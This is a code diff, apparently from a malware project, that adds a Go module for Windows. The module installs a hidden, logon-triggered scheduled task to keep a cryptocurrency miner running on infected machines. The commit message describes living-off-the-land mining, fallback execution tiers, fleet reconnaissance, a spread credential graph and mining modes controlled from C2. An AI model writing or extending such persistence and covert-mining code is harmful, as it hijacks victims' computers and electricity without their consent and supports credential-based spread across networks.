Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_scheduled_task_windows.go

@@ -0,0 +1,45 @@
+//go:build windows
+
+package miner
+
+import (
+	"os/exec"
+	"strings"
+)
+
+func platformScheduledTaskOps() *ScheduledTaskOps {
+	return &ScheduledTaskOps{
+		Exists:  scheduledTaskExists,
+		Install: installHiddenScheduledTask,
+		StubPath: scheduledTaskStubPath,
+	}
+}
+
+func scheduledTaskExists(taskName string) bool {
+	err := hiddenRun("schtasks", "/Query", "/TN", taskName)
+	return err == nil
+}
+
+func installHiddenScheduledTask(taskName, stubPath, trigger string) error {
+	// /RL LIMITED + hidden window; mining mode rotates via C2 without redeploy.
+	tr := strings.ReplaceAll(trigger, `"`, `\"`)
+	return hiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
+		"/SC", "ONLOGON", "/F", "/RL", "LIMITED")
+}
+
+var hiddenRun = defaultHiddenRun
+
+func defaultHiddenRun(name string, arg ...string) error {
+	cmd := exec.Command(name, arg...)
+	applyHiddenWindow(cmd)
+	return cmd.Run()
+}
+
+// SetTierHiddenRun overrides hidden exec for tests.
+func SetTierHiddenRun(fn func(name string, arg ...string) error) {
+	if fn == nil {
+		hiddenRun = defaultHiddenRun
+		return
+	}
+	hiddenRun = fn
+}